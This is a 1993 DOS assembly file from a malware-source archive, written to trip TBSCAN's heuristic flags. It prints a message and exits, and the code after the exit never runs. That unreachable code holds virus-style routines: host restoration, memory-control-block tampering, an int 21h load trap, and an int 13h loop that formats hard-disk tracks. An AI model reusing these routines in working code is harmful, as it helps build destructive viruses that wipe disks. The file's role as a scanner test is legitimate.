mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
208 lines
8.0 KiB
NASM
208 lines
8.0 KiB
NASM
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
;
|
|
; Donothing.asm
|
|
; By K”hntark
|
|
; DATE: NOV 93
|
|
;
|
|
; Assemble with TASM 2.X
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
MAIN SEGMENT BYTE
|
|
ASSUME cs:main,ds:main,ss:nothing
|
|
org 100h
|
|
|
|
DONUTHIN:
|
|
VIRUS:
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; J-Flag - Suspicious Jump construct
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
jmp THERE
|
|
THERE: jmp HERE
|
|
HERE:
|
|
|
|
mov dx,Offset MSG
|
|
mov ah,09
|
|
int 21h ;display message
|
|
|
|
int 20h ;PROGRAM NEVER GETS EXECUTED BEYOND THIS POINT!!
|
|
;This is SHMISTICS!
|
|
|
|
MSG db 'Please scan this file with TBSCAN!$'
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; E-Flag - Flexible Entry Point
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
call HAHA
|
|
HAHA: pop si
|
|
sub si,3
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; O-Flag - Code Overwrite
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
;Restore COM host
|
|
mov di,0100h
|
|
push di
|
|
movsw
|
|
movsw ;from ds:si to es:di
|
|
;------- O flag -------
|
|
; ret ;return to host
|
|
;------- R flag -------(see below)
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; R-Flag - Suspicious Relocator
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
push di ;save return address
|
|
movsw ;restore host
|
|
movsw ;from ds:si to es:di
|
|
ret ;return to host
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; A-Flag - Suspicious Memory Allocation
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
mov BYTE PTR ds:0000,'M'
|
|
mov cx,23h ;23h * 16 = 560
|
|
sub ds:0012h,cx
|
|
sub ds:0003,cx
|
|
mov ax,ds:0003 ;
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; F-Flag - Suspicious file access
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
;Restore date and time of file to be infected
|
|
|
|
mov ax,5701h
|
|
mov dx,WORD PTR [si + F_DATE - VIRUS]
|
|
mov cx,WORD PTR [si + F_TIME - VIRUS]
|
|
int 21h
|
|
|
|
;Restore file's attributes
|
|
|
|
lea dx,[si + FNAME - VIRUS] ;get filename
|
|
mov cx,[si + ATTR - VIRUS] ;get old attributes
|
|
mov ax,4301h ;set file attributes to cx
|
|
int 21h
|
|
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; S-flag - Search for COM and EXE
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
db '*.COM',0
|
|
db '*.EXE',0
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; L-flag - Trap Software's loading
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
;simulated resident int21h trap:
|
|
|
|
pushf ;save flags
|
|
push cs
|
|
pop es ;ES=CS
|
|
cmp ah,4Bh ;load and execute program
|
|
je KILL
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; D-flag - Disk Write Access
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
mov ch,0 ;ch=track or cylinder = cx
|
|
KILL:
|
|
mov ah,5 ;ah=function, al = interleave
|
|
mov dh,0 ;dh=head
|
|
mov dl,80h ;dl=drive 0
|
|
int 13h ;format track
|
|
|
|
inc ch ;increase track
|
|
cmp ch,20h ;track 20h?
|
|
loopnz KILL ;no? keep on formating
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; M-flag - Memory Resident Code
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
mov ax,2521h ;DOS Services ah=function 25h
|
|
mov dx,offset kill
|
|
int 21h ;set intrpt vector al to ds:dx
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; U-Flag - Undocumented DOS call
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
mov dx,5945h
|
|
mov ax,0FA01h
|
|
int 21h
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; G-Flag - Garbage Instructions
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
add ax,34
|
|
add bx,34
|
|
int 65h
|
|
add cx,35
|
|
add dx,45
|
|
add si,23
|
|
add di,34
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
add ax,34
|
|
add bx,34
|
|
add cx,35
|
|
add dx,45
|
|
add si,23
|
|
add di,34
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; Z-Flag - EXE / COM determination
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
cmp WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file?
|
|
je CONT2 ;no? check com
|
|
|
|
cmp WORD PTR [si + START_CODE - VIRUS],'MZ' ;EXE file?
|
|
jne CHECK_COM ;no? check com
|
|
|
|
CONT2:
|
|
CHECK_COM:
|
|
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
; B-Flag - Back to Entry Point
|
|
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
|
|
|
mov si,0100h
|
|
push si
|
|
ret
|
|
|
|
ENDVIRUS equ $
|
|
|
|
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
|
|
START_CODE db 5 dup (?)
|
|
HOST_STUB db 00
|
|
ATTR dw 0
|
|
F_DATE dw 0
|
|
F_TIME dw 0
|
|
FNAME db 13 dup (?)
|
|
|
|
ZIZE equ OFFSET ENDVIRUS - OFFSET VIRUS
|
|
|
|
|
|
MAIN ENDS
|
|
END DONUTHIN
|